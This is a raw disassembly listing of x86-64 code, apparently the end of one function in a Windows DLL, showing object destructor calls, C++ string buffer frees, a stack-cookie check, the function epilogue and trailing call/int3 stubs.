movdqa xmmword [rbp + 0x130], xmm0
mov qword [rbp + 0x140], r13
jmp 0x180093704
xor r13d, r13d
lea rcx, [rbp + 0x190]
call fcn.1800bf7f0
mov rcx, qword [rbp + 0x1b0]
test rcx, rcx
je 0x180093735
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x180093735
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
lea rcx, [rbp + 0x1b8]
call fcn.1800bf7f0
mov rcx, qword [rbp + 0x1d8]
test rcx, rcx
je 0x180093766
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x180093766
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
lea rcx, [rbp + 0x1e0]
call fcn.1800bf7f0
mov rcx, qword [rbp + 0x200]
test rcx, rcx
je 0x180093797
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x180093797
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rsi, qword [rbp - 0x60]
mov r14, qword [rbp - 0x58]
mov r15, qword [rbp - 0x50]
mov r12, qword [rbp - 0x48]
mov rdx, qword [rbp + 0x98]
cmp rdx, 0x10
jb 0x1800937e8
mov rcx, qword [rbp + 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800937e3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093919
call fcn.1800cd2cc
movups xmm1, xmmword [rbp + 0x110]
mov qword [rbp + 0x110], r13
movups xmm0, xmmword [rbp + 0x100]
mov qword [rbp + 0x118], 0xf
mov byte [rbp + 0x100], 0
movups xmmword [r12], xmm0
movups xmmword [r12 + 0x10], xmm1
mov rdx, qword [r15 + 0x18]
cmp rdx, 0x10
jb 0x180093854
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x18009384f
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009391f
mov rcx, r8
call fcn.1800cd2cc
mov qword [r15 + 0x10], r13
mov qword [r15 + 0x18], 0xf
mov byte [r15], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x18009389e
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x180093899
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009391f
mov rcx, r8
call fcn.1800cd2cc
mov qword [r14 + 0x10], r13
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
mov rdx, qword [rsi + 0x18]
cmp rdx, 0x10
jb 0x1800938e4
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x1800938df
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009391f
mov rcx, r8
call fcn.1800cd2cc
mov byte [rsi], 0
mov rax, r12
mov qword [rsi + 0x18], 0xf
mov qword [rsi + 0x10], r13
mov rcx, qword [rbp + 0x208]
xor rcx, rsp
call fcn.1800cd010
add rsp, 0x318
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.1800dc358
int3
call fcn.1800dc358
int3
call fcn.1800dc358
int3
call fcn.180088c60
int3
call fcn.1800dc358
int3
call fcn.1800dc358
int3
call fcn.1800dc358
int3
call fcn.1800dc358
int3
call fcn.1800dc358
int3
call fcn.1800dc358
int3
call fcn.180088c60
int3
call fcn.180088c60
int3
call fcn.180088c60
int3
call fcn.1800dc358
int3
call fcn.180088c60
int3
call fcn.1800dc358
int3